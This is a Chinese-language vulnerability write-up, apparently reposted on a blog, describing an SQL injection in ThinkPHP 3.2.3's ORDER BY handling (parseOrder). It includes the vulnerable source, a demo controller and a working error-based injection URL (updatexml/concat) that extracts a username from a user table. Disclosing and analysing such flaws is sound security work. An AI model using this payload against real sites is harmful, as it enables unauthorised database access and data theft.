php tp框架的特性,ThinkPHP框架特性引发的SQL注入漏洞

### 简要描述:

ThinkPHP框架本身缺陷导致SQL注入漏洞,基本影响所有使用ThinkPHP开发的应用,包括thinksns、onethink等

### 详细说明:

关键代码在`\ThinkPHP\Library\Think\Db\Driver.class.php`,683行。

```

/**

* order分析

* @access protected

* @param mixed $order

* @return string

*/

protected function parseOrder($order) {

if(is_array($order)) {

$array = array();

foreach ($order as $key=>$val){

if(is_numeric($key)) {

$array[] = $this->parseKey($val);

}else{

$array[] = $this->parseKey($key).' '.$val;

}

}

$order = implode(',',$array);

}

return !empty($order)? ' ORDER BY '.$order:'';

}

```

当我们提交的$order不为数组时,那么直接返回 `' ORDER BY '.$order:'`。

当我们提交的$order为数组,程序也仅仅是对$key进行了处理。没有处理$val。

此漏洞与phith0n提交的漏洞有相似性。http://**.**.**.**/bugs/wooyun-2010-086737

在此附上一个常见的demo

```

namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller {

public function index(){

$data = array();

$data['username'] = array('eq','admin');

$order = I('get.order');

$m = M('user')->where($data)->order($order)->find();

echo M('user')->getLastSql();

}

}

```

通过I函数获取内容以后,直接进入SQL。

```

**.**.**.**/official/thinkphp_3.2.3_full/?order=updatexml%281,concat%280x3a,%28select%20username%20from%20user%20limit%201%29%29,1%29

```

[order 注入.JPG](https://images.seebug.org/upload/201510/3016141709a9b502c87cbb9e56a4c05e258e62c8.jpg)

之前看了一下ThinkPHP的审核情况,某些问题被官方认为是开发不规范导致的。我个人看法是在安全性的前提下,尽量提高程序的灵活性。毕竟大家使用ThinkPHP框架的目的是为了敏捷开发,同时还能减少安全性等问题带来的顾虑。之前听前辈们说过一句话,“一切输入都是有害的”。以此为标准,那么即使向框架内的基础函数输入恶意数据,程序也应该保证能进行识别和过滤。很多框架实际上也是这么做的。

### 漏洞证明:

![](https://images.seebug.org/upload/201510/3016141709a9b502c87cbb9e56a4c05e258e62c8.jpg)

loading-bars.svg

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值